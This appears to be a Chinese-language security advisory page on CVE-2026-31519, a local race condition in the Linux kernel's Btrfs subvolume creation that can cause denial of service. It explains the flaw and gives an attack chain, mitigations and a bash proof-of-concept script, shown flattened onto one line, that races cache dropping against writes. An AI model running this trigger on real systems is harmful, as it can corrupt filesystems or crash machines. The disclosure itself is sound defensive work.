IPBUF安全漏洞报告
English
CVE-2026-31519 CVSS 5.5 中危

CVE-2026-31519 Linux内核Btrfs子卷创建竞态漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31519
漏洞类型
竞态条件
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelBtrfsRace ConditionDoSCVE-2026-31519Local

漏洞概述

Linux内核中的Btrfs文件系统在子卷创建逻辑中存在漏洞。由于`create_subvol()`未设置`BTRFS_ROOT_ORPHAN_CLEANUP`标志,当dentry缓存被清理且遇到延迟iputs竞态时,孤儿清理流程会失败。这导致子卷目录项损坏,表现为无法删除或创建文件,严重时可导致文件系统中止,造成系统拒绝服务。

技术细节

漏洞核心在于`create_subvol()`调用`d_instantiate_new()`时遗漏了`BTRFS_ROOT_ORPHAN_CLEANUP`标志的设置。当子卷的dentry因内存压力或手动清理被驱逐后,下一次查找将触发`btrfs_orphan_cleanup()`。若此时与ordered extent创建产生的延迟iput发生竞态,清理函数可能因找不到预期的孤儿项而返回-ENOENT。这导致系统通过`d_splice_alias`为有效的子卷生成负dentry。在此状态下,删除子卷返回ENOENT,覆盖写入返回EEXIST,且可能导致内核panic,破坏文件系统的可用性。

攻击链分析

STEP 1
步骤1
攻击者在本地Btrfs文件系统中创建一个新的子卷。
STEP 2
步骤2
在子卷内进行文件写操作,触发ordered extent创建和igrab,从而产生延迟iput的条件。
STEP 3
步骤3
触发dentry缓存清理(如内存回收或手动drop_caches),导致子卷的dentry被驱逐。
STEP 4
步骤4
下一次对子卷的查找操作触发`btrfs_orphan_cleanup()`,由于竞态条件导致其失败并返回-ENOENT。
STEP 5
步骤5
系统为有效子卷生成负dentry,导致后续删除或创建操作失败,可能引发文件系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-31519 PoC Concept # This script attempts to trigger the race condition by creating a subvolume, # performing I/O to trigger delayed iputs, and clearing the dentry cache. MOUNT_POINT="/mnt/btrfs_test" SUBVOL_NAME="test_subvol" # Check if mount point exists if [ ! -d "$MOUNT_POINT" ]; then echo "Mount point does not exist." exit 1 fi echo "[1] Creating subvolume..." btrfs subvolume create "$MOUNT_POINT/$SUBVOL_NAME" echo "[2] Creating a file inside to trigger ordered extents..." dd if=/dev/zero of="$MOUNT_POINT/$SUBVOL_NAME/testfile" bs=1M count=10 & DD_PID=$! echo "[3] Syncing and dropping caches to force dentry eviction..." sync echo 3 > /proc/sys/vm/drop_caches # Wait for background write to finish wait $DD_PID echo "[4] Attempting to lookup the subvolume again to trigger orphan cleanup..." ls -l "$MOUNT_POINT/$SUBVOL_NAME" echo "[5] Checking dmesg for orphan cleanup errors..." dmesg | tail -n 20 | grep -i "orphan" echo "Done. Inspect system stability."

影响范围

Linux Kernel (修复提交之前版本)

防御指南

临时缓解措施
避免在不可信的环境下使用受影响的Btrfs内核版本,或限制本地用户的低权限操作;定期监控内核日志中关于'could not do orphan cleanup'的错误信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表